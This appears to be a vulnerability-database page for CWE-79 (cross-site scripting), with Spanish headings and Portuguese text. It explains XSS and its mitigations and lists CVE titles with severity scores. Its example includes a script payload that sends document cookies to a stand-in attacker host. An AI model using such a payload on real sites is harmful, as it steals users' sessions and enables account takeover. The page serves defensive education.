Fallos del tipo CWE-79

30.539 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-7652MEDIUMEasy Plugin Stats <= 2.0.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-21431LOWEmlog vulnerable to stored Cross-site Scripting via image nameEPSS 0.2%CVE-2025-10131MEDIUMAll Social Share Options <= 1.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-5585MEDIUMSiteOrigin Widgets Bundle <= 1.68.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via `data-url` DOM Element AttributeEPSS 0.2%CVE-2025-9850MEDIUMEvenium <= 1.3.11 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2024-7075MEDIUMReflected Cross-Site Scripting via User Search Function in Management Console of Multiple WSO2 ProductsEPSS 0.2%CVE-2019-25367MEDIUMArangoDB Community Edition 3.4.2-1 XSS via aardvark admin interfaceEPSS 0.2%CVE-2026-21432MEDIUMEmlog has stored Cross-site Scripting issue that can lead to admin or another account ATOEPSS 0.2%CVE-2026-54682HIGHDiscordChatExporter: Stored XSS in HTML export when markdown formatting is disabledEPSS 0.2%CVE-2026-50183MEDIUMWWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery SectionEPSS 0.2%CVE-2025-5559MEDIUMTimeZoneCalculator <= 3.37 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-65923MEDIUMA Stored Cross-Site Scripting (XSS) vulnerability was discovered within the CSV import mechanism of ERPNext thru 15.88.1 when using the UpdaEPSS 0.2%CVE-2025-59898MEDIUMAuthenticated Cross-Site Scripting (XSS) vulnerability in Sync Breeze Enterprise ServerEPSS 0.2%CVE-2025-68399LOWChurchCRM has Stored Cross-Site Scripting (XSS) In GroupEditor.phpEPSS 0.2%CVE-2025-59897MEDIUMAuthenticated Cross-Site Scripting (XSS) vulnerability in Sync Breeze Enterprise ServerEPSS 0.2%CVE-2025-7781MEDIUMWP JobHunt <= 7.6 - Authenticated (Candidate+) Stored Cross-Site Scripting via ‘cs_job_title’EPSS 0.2%CVE-2025-4951MEDIUMEditions of Rapid7 AppSpider Pro before version 7.5.018 is vulnerable to a stored cross-site scripting vulnerability in the "ScanName" fieldEPSS 0.2%CVE-2025-7400MEDIUMFeatured Image from URL (FIFU) <= 5.2.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Featured Image Custom FieldsEPSS 0.2%CVE-2021-47957MEDIUMWordPress Plugin Cookie Law Bar 1.2.1 Stored XSS via clb_bar_msgEPSS 0.2%CVE-2025-8684MEDIUMFlatsome <= 3.20.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.2%